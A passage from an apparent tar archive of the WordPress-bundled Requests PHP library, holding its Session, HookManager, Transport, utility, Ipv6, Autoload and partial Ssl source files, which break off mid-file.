		if (empty($this->options['cookies'])) {
			$this->options['cookies'] = new Jar();
		}
	}

	/**
	 * Get a property's value
	 *
	 * @param string $name Property name.
	 * @return mixed|null Property value, null if none found
	 */
	public function __get($name) {
		if (isset($this->options[$name])) {
			return $this->options[$name];
		}

		return null;
	}

	/**
	 * Set a property's value
	 *
	 * @param string $name Property name.
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		$this->options[$name] = $value;
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __isset($name) {
		return isset($this->options[$name]);
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __unset($name) {
		unset($this->options[$name]);
	}

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public function get($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public function head($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public function delete($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::DELETE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public function post($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::POST, $options);
	}

	/**
	 * Send a PUT request
	 */
	public function put($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PUT, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public function patch($url, $headers, $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * @see \WpOrg\Requests\Requests::request()
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
	 * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));

		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * @see \WpOrg\Requests\Requests::request_multiple()
	 *
	 * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		foreach ($requests as $key => $request) {
			$requests[$key] = $this->merge_request($request, false);
		}

		$options = array_merge($this->options, $options);

		// Disallow forcing the type, as that's a per request setting
		unset($options['type']);

		return Requests::request_multiple($requests, $options);
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

	/**
	 * Merge a request's data with the default data
	 *
	 * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
	 * @param boolean $merge_options Should we merge options as well?
	 * @return array Request data
	 */
	protected function merge_request($request, $merge_options = true) {
		if ($this->url !== null) {
			$request['url'] = Iri::absolutize($this->url, $request['url']);
			$request['url'] = $request['url']->uri;
		}

		if (empty($request['headers'])) {
			$request['headers'] = [];
		}

		$request['headers'] = array_merge($this->headers, $request['headers']);

		if (empty($request['data'])) {
			if (is_array($this->data)) {
				$request['data'] = $this->data;
			}
		} elseif (is_array($request['data']) && is_array($this->data)) {
			$request['data'] = array_merge($this->data, $request['data']);
		}

		if ($merge_options === true) {
			$request['options'] = array_merge($this->options, $request['options']);

			// Disallow forcing the type, as that's a per request setting
			unset($request['options']['type']);
		}

		return $request;
	}
}
HookManager.php000064400000001305151024327070007450 0ustar00<?php
/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */
interface HookManager {
	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
	public function register($hook, $callback, $priority = 0);

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 */
	public function dispatch($hook, $parameters = []);
}
Transport.php000064400000003010151024327070007244 0ustar00<?php
/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests;

/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */
interface Transport {
	/**
	 * Perform a request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = [], $data = [], $options = []);

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 */
	public function request_multiple($requests, $options);

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []);
}
Utility/CaseInsensitiveDictionary.php000064400000004713151024327070014050 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */
class CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $data = [];

	/**
	 * Creates a case insensitive dictionary.
	 *
	 * @param array $data Dictionary/map to convert to case-insensitive
	 */
	public function __construct(array $data = []) {
		foreach ($data as $offset => $value) {
			$this->offsetSet($offset, $value);
		}
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		return isset($this->data[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if the item key doesn't exist)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		$this->data[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		unset($this->data[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->data);
	}

	/**
	 * Get the headers as an array
	 *
	 * @return array Header data
	 */
	public function getAll() {
		return $this->data;
	}
}
Utility/FilteredIterator.php000064400000004155151024327070012176 0ustar00<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array    $data     The array or object to be iterated on.
	 * @param callable $callback Callback to be called on each value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable.
	 */
	public function __construct($data, $callback) {
		if (InputValidator::is_iterable($data) === false) {
			throw InvalidArgument::create(1, '$data', 'iterable', gettype($data));
		}

		parent::__construct($data);

		if (is_callable($callback)) {
			$this->callback = $callback;
		}
	}

	/**
	 * Prevent unserialization of the object for security reasons.
	 *
	 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
	 *
	 * @param array $data Restored array of data originally serialized.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function __unserialize($data) {}
	// phpcs:enable

	/**
	 * Perform reinitialization tasks.
	 *
	 * Prevents a callback from being injected during unserialization of an object.
	 *
	 * @return void
	 */
	public function __wakeup() {
		unset($this->callback);
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function current() {
		$value = parent::current();

		if (is_callable($this->callback)) {
			$value = call_user_func($this->callback, $value);
		}

		return $value;
	}

	/**
	 * Prevent creating a PHP value from a stored representation of the object for security reasons.
	 *
	 * @param string $data The serialized string.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function unserialize($data) {}
}
Utility/InputValidator.php000064400000004720151024327070011671 0ustar00<?php
/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use CurlHandle;
use Traversable;

/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */
final class InputValidator {

	/**
	 * Verify that a received input parameter is of type string or is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_string_or_stringable($input) {
		return is_string($input) || self::is_stringable_object($input);
	}

	/**
	 * Verify whether a received input parameter is usable as an integer array key.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_numeric_array_key($input) {
		if (is_int($input)) {
			return true;
		}

		if (!is_string($input)) {
			return false;
		}

		return (bool) preg_match('`^-?[0-9]+$`', $input);
	}

	/**
	 * Verify whether a received input parameter is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_stringable_object($input) {
		return is_object($input) && method_exists($input, '__toString');
	}

	/**
	 * Verify whether a received input parameter is _accessible as if it were an array_.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function has_array_access($input) {
		return is_array($input) || $input instanceof ArrayAccess;
	}

	/**
	 * Verify whether a received input parameter is "iterable".
	 *
	 * @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1
	 * and this library still supports PHP 5.6.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_iterable($input) {
		return is_array($input) || $input instanceof Traversable;
	}

	/**
	 * Verify whether a received input parameter is a Curl handle.
	 *
	 * The PHP Curl extension worked with resources prior to PHP 8.0 and with
	 * an instance of the `CurlHandle` class since PHP 8.0.
	 * {@link https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.resource2object}
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_curl_handle($input) {
		if (is_resource($input)) {
			return get_resource_type($input) === 'curl';
		}

		if (is_object($input)) {
			return $input instanceof CurlHandle;
		}

		return false;
	}
}
Ipv6.php000064400000013007151024327070006103 0ustar00<?php
/**
 * Class to validate and to work with IPv6 addresses
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Class to validate and to work with IPv6 addresses
 *
 * This was originally based on the PEAR class of the same name, but has been
 * entirely rewritten.
 *
 * @package Requests\Utilities
 */
final class Ipv6 {
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license https://opensource.org/licenses/bsd-license.php
	 *
	 * @param string|Stringable $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function uncompress($ip) {
		if (InputValidator::is_string_or_stringable($ip) === false) {
			throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip));
		}

		$ip = (string) $ip;

		if (substr_count($ip, '::') !== 1) {
			return $ip;
		}

		list($ip1, $ip2) = explode('::', $ip);
		$c1              = ($ip1 === '') ? -1 : substr_count($ip1, ':');
		$c2              = ($ip2 === '') ? -1 : substr_count($ip2, ':');

		if (strpos($ip2, '.') !== false) {
			$c2++;
		}

		if ($c1 === -1 && $c2 === -1) {
			// ::
			$ip = '0:0:0:0:0:0:0:0';
		} elseif ($c1 === -1) {
			// ::xxx
			$fill = str_repeat('0:', 7 - $c2);
			$ip   = str_replace('::', $fill, $ip);
		} elseif ($c2 === -1) {
			// xxx::
			$fill = str_repeat(':0', 7 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		} else {
			// xxx::xxx
			$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		}

		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see \WpOrg\Requests\Ipv6::uncompress()
	 *
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip) {
		// Prepare the IP to be compressed.
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip       = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match) {
				if (strlen($match[0]) > $max) {
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '') {
			return implode(':', $ip_parts);
		} else {
			return $ip_parts[0];
		}
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	private static function split_v6_v4($ip) {
		if (strpos($ip, '.') !== false) {
			$pos       = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return [$ipv6_part, $ipv4_part];
		} else {
			return [$ip, ''];
		}
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip) {
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip                = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6              = explode(':', $ipv6);
		$ipv4              = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
			foreach ($ipv6 as $ipv6_part) {
				// The section can't be empty
				if ($ipv6_part === '') {
					return false;
				}

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4) {
					return false;
				}

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '') {
					$ipv6_part = '0';
				}

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
					return false;
				}
			}

			if (count($ipv4) === 4) {
				foreach ($ipv4 as $ipv4_part) {
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
						return false;
					}
				}
			}

			return true;
		} else {
			return false;
		}
	}
}
Autoload.php000064400000022167151024327070007036 0ustar00<?php
/**
 * Autoloader for Requests for PHP.
 *
 * Include this file if you'd like to avoid having to create your own autoloader.
 *
 * @package Requests
 * @since   2.0.0
 *
 * @codeCoverageIgnore
 */

namespace WpOrg\Requests;

/*
 * Ensure the autoloader is only declared once.
 * This safeguard is in place as this is the typical entry point for this library
 * and this file being required unconditionally could easily cause
 * fatal "Class already declared" errors.
 */
if (class_exists('WpOrg\Requests\Autoload') === false) {

	/**
	 * Autoloader for Requests for PHP.
	 *
	 * This autoloader supports the PSR-4 based Requests 2.0.0 classes in a case-sensitive manner
	 * as the most common server OS-es are case-sensitive and the file names are in mixed case.
	 *
	 * For the PSR-0 Requests 1.x BC-layer, requested classes will be treated case-insensitively.
	 *
	 * @package Requests
	 */
	final class Autoload {

		/**
		 * List of the old PSR-0 class names in lowercase as keys with their PSR-4 case-sensitive name as a value.
		 *
		 * @var array
		 */
		private static $deprecated_classes = [
			// Interfaces.
			'requests_auth'                              => '\WpOrg\Requests\Auth',
			'requests_hooker'                            => '\WpOrg\Requests\HookManager',
			'requests_proxy'                             => '\WpOrg\Requests\Proxy',
			'requests_transport'                         => '\WpOrg\Requests\Transport',

			// Classes.
			'requests_cookie'                            => '\WpOrg\Requests\Cookie',
			'requests_exception'                         => '\WpOrg\Requests\Exception',
			'requests_hooks'                             => '\WpOrg\Requests\Hooks',
			'requests_idnaencoder'                       => '\WpOrg\Requests\IdnaEncoder',
			'requests_ipv6'                              => '\WpOrg\Requests\Ipv6',
			'requests_iri'                               => '\WpOrg\Requests\Iri',
			'requests_response'                          => '\WpOrg\Requests\Response',
			'requests_session'                           => '\WpOrg\Requests\Session',
			'requests_ssl'                               => '\WpOrg\Requests\Ssl',
			'requests_auth_basic'                        => '\WpOrg\Requests\Auth\Basic',
			'requests_cookie_jar'                        => '\WpOrg\Requests\Cookie\Jar',
			'requests_proxy_http'                        => '\WpOrg\Requests\Proxy\Http',
			'requests_response_headers'                  => '\WpOrg\Requests\Response\Headers',
			'requests_transport_curl'                    => '\WpOrg\Requests\Transport\Curl',
			'requests_transport_fsockopen'               => '\WpOrg\Requests\Transport\Fsockopen',
			'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
			'requests_utility_filterediterator'          => '\WpOrg\Requests\Utility\FilteredIterator',
			'requests_exception_http'                    => '\WpOrg\Requests\Exception\Http',
			'requests_exception_transport'               => '\WpOrg\Requests\Exception\Transport',
			'requests_exception_transport_curl'          => '\WpOrg\Requests\Exception\Transport\Curl',
			'requests_exception_http_304'                => '\WpOrg\Requests\Exception\Http\Status304',
			'requests_exception_http_305'                => '\WpOrg\Requests\Exception\Http\Status305',
			'requests_exception_http_306'                => '\WpOrg\Requests\Exception\Http\Status306',
			'requests_exception_http_400'                => '\WpOrg\Requests\Exception\Http\Status400',
			'requests_exception_http_401'                => '\WpOrg\Requests\Exception\Http\Status401',
			'requests_exception_http_402'                => '\WpOrg\Requests\Exception\Http\Status402',
			'requests_exception_http_403'                => '\WpOrg\Requests\Exception\Http\Status403',
			'requests_exception_http_404'                => '\WpOrg\Requests\Exception\Http\Status404',
			'requests_exception_http_405'                => '\WpOrg\Requests\Exception\Http\Status405',
			'requests_exception_http_406'                => '\WpOrg\Requests\Exception\Http\Status406',
			'requests_exception_http_407'                => '\WpOrg\Requests\Exception\Http\Status407',
			'requests_exception_http_408'                => '\WpOrg\Requests\Exception\Http\Status408',
			'requests_exception_http_409'                => '\WpOrg\Requests\Exception\Http\Status409',
			'requests_exception_http_410'                => '\WpOrg\Requests\Exception\Http\Status410',
			'requests_exception_http_411'                => '\WpOrg\Requests\Exception\Http\Status411',
			'requests_exception_http_412'                => '\WpOrg\Requests\Exception\Http\Status412',
			'requests_exception_http_413'                => '\WpOrg\Requests\Exception\Http\Status413',
			'requests_exception_http_414'                => '\WpOrg\Requests\Exception\Http\Status414',
			'requests_exception_http_415'                => '\WpOrg\Requests\Exception\Http\Status415',
			'requests_exception_http_416'                => '\WpOrg\Requests\Exception\Http\Status416',
			'requests_exception_http_417'                => '\WpOrg\Requests\Exception\Http\Status417',
			'requests_exception_http_418'                => '\WpOrg\Requests\Exception\Http\Status418',
			'requests_exception_http_428'                => '\WpOrg\Requests\Exception\Http\Status428',
			'requests_exception_http_429'                => '\WpOrg\Requests\Exception\Http\Status429',
			'requests_exception_http_431'                => '\WpOrg\Requests\Exception\Http\Status431',
			'requests_exception_http_500'                => '\WpOrg\Requests\Exception\Http\Status500',
			'requests_exception_http_501'                => '\WpOrg\Requests\Exception\Http\Status501',
			'requests_exception_http_502'                => '\WpOrg\Requests\Exception\Http\Status502',
			'requests_exception_http_503'                => '\WpOrg\Requests\Exception\Http\Status503',
			'requests_exception_http_504'                => '\WpOrg\Requests\Exception\Http\Status504',
			'requests_exception_http_505'                => '\WpOrg\Requests\Exception\Http\Status505',
			'requests_exception_http_511'                => '\WpOrg\Requests\Exception\Http\Status511',
			'requests_exception_http_unknown'            => '\WpOrg\Requests\Exception\Http\StatusUnknown',
		];

		/**
		 * Register the autoloader.
		 *
		 * Note: the autoloader is *prepended* in the autoload queue.
		 * This is done to ensure that the Requests 2.0 autoloader takes precedence
		 * over a potentially (dependency-registered) Requests 1.x autoloader.
		 *
		 * @internal This method contains a safeguard against the autoloader being
		 * registered multiple times. This safeguard uses a global constant to
		 * (hopefully/in most cases) still function correctly, even if the
		 * class would be renamed.
		 *
		 * @return void
		 */
		public static function register() {
			if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
				spl_autoload_register([self::class, 'load'], true);
				define('REQUESTS_AUTOLOAD_REGISTERED', true);
			}
		}

		/**
		 * Autoloader.
		 *
		 * @param string $class_name Name of the class name to load.
		 *
		 * @return bool Whether a class was loaded or not.
		 */
		public static function load($class_name) {
			// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
			$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');

			if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
				return false;
			}

			$class_lower = strtolower($class_name);

			if ($class_lower === 'requests') {
				// Reference to the original PSR-0 Requests class.
				$file = dirname(__DIR__) . '/library/Requests.php';
			} elseif ($psr_4_prefix_pos === 0) {
				// PSR-4 classname.
				$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
			}

			if (isset($file) && file_exists($file)) {
				include $file;
				return true;
			}

			/*
			 * Okay, so the class starts with "Requests", but we couldn't find the file.
			 * If this is one of the deprecated/renamed PSR-0 classes being requested,
			 * let's alias it to the new name and throw a deprecation notice.
			 */
			if (isset(self::$deprecated_classes[$class_lower])) {
				/*
				 * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
				 * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
				 * The constant needs to be defined before the first deprecated class is requested
				 * via this autoloader.
				 */
				if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
					// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
					trigger_error(
						'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
						. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
						E_USER_DEPRECATED
					);

					// Prevent the deprecation notice from being thrown twice.
					if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
						define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
					}
				}

				// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
				return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
			}

			return false;
		}
	}
}
Ssl.php000064400000012461151024327070006023 0ustar00<?php
/**
 * SSL utilities for Requests
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests\Utilities
 */
final class Ssl {
	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string|Stringable $host Host name to verify against
	 * @param array $cert Certificate data from openssl_x509_parse()
	 * @return bool
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $host argument is not a string or a stringable object.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cert argument is not an array or array accessible.
	 */
	public static function verify_certificate($host, $cert) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		if (InputValidator::has_array_access($cert) === false) {
			throw InvalidArgument::create(2, '$cert', 'array|ArrayAccess', gettype($cert));
		}

		$has_dns_alt = false;

		// Check the subjectAltName
		if (!empty($cert['extensions']['subjectAltName'])) {
			$altnames = explode(',', $cert['extensions']['subjectAltName']);
			foreach ($altnames as $altname) {
				$altname = trim($altname);
				if (strpos($altname, 'DNS:') !== 0) {
					continue;
				}

				$has_dns_alt = true;

				// Strip the 'DNS:' prefix and trim whitespace
				$altname = trim(substr($altname, 4));

				// Check for a match
				if (self::match_domain($host, $altname) === true) {
					return true;
				}
			}

			if ($has_dns_alt === true) {
				return false;
			}
		}

		// Fall back to checking the common name if we didn't get any dNSName
		// alt names, as per RFC2818
		if (!empty($cert['subject']['CN'])) {
			// Check for a match
			return (self::match_domain($host, $cert['subject']['CN']) === true);
		}

		return false;
	}

	/**
	 * Verify that a reference name is valid
	 *
	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
	 * - Wildcards can only occur in a name with more than 3 components
	 * - Wildcards can only occur as the last character in the first
	 *   component
	 * - Wildcards may be preceded by additional characters
	 *
	 * We modify these rules to be a bit stricter and only allow the wildcard
	 * character to be the full first component; that is, with the exclusion of
	 * the third rule.
	 *
	 * @param string|Stringable $reference Reference dNSName
	 * @return boolean Is the name valid?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function verify_reference_name($reference) {
		if (InputValidator::is_string_or_stringable($reference) === false) {
			throw InvalidArgument::create(1, '$reference', 'string|Stringable', gettype($reference));
		}

		if ($reference === '') {
			return false;
		}

		if (preg_match('`\s`', $reference) > 0) {
			// Whitespace detected. This can never be a dNSName.
			return false;
		}

		$parts = explode('.', $reference);
		if ($parts !== array_filter($parts)) {
			// DNSName cannot contain two dots next to each other.
			return false;
		}

		// Check the first part of the name
		$first = array_shift($parts);

		if (strpos($first, '*') !== false) {
			// Check that the wildcard is the full part
			if ($first !== '*') {
				return false;
			}

			// Check that we have at least 3 components (including first)
			if (count($parts) < 2) {
				return false;
			}
		}

		// Check the remaining parts
		foreach ($parts as $part) {
			if (strpos($part, '*') !== false) {
				return false;
			}
		}

		// Nothing found, verified!
		return true;
	}

	/**
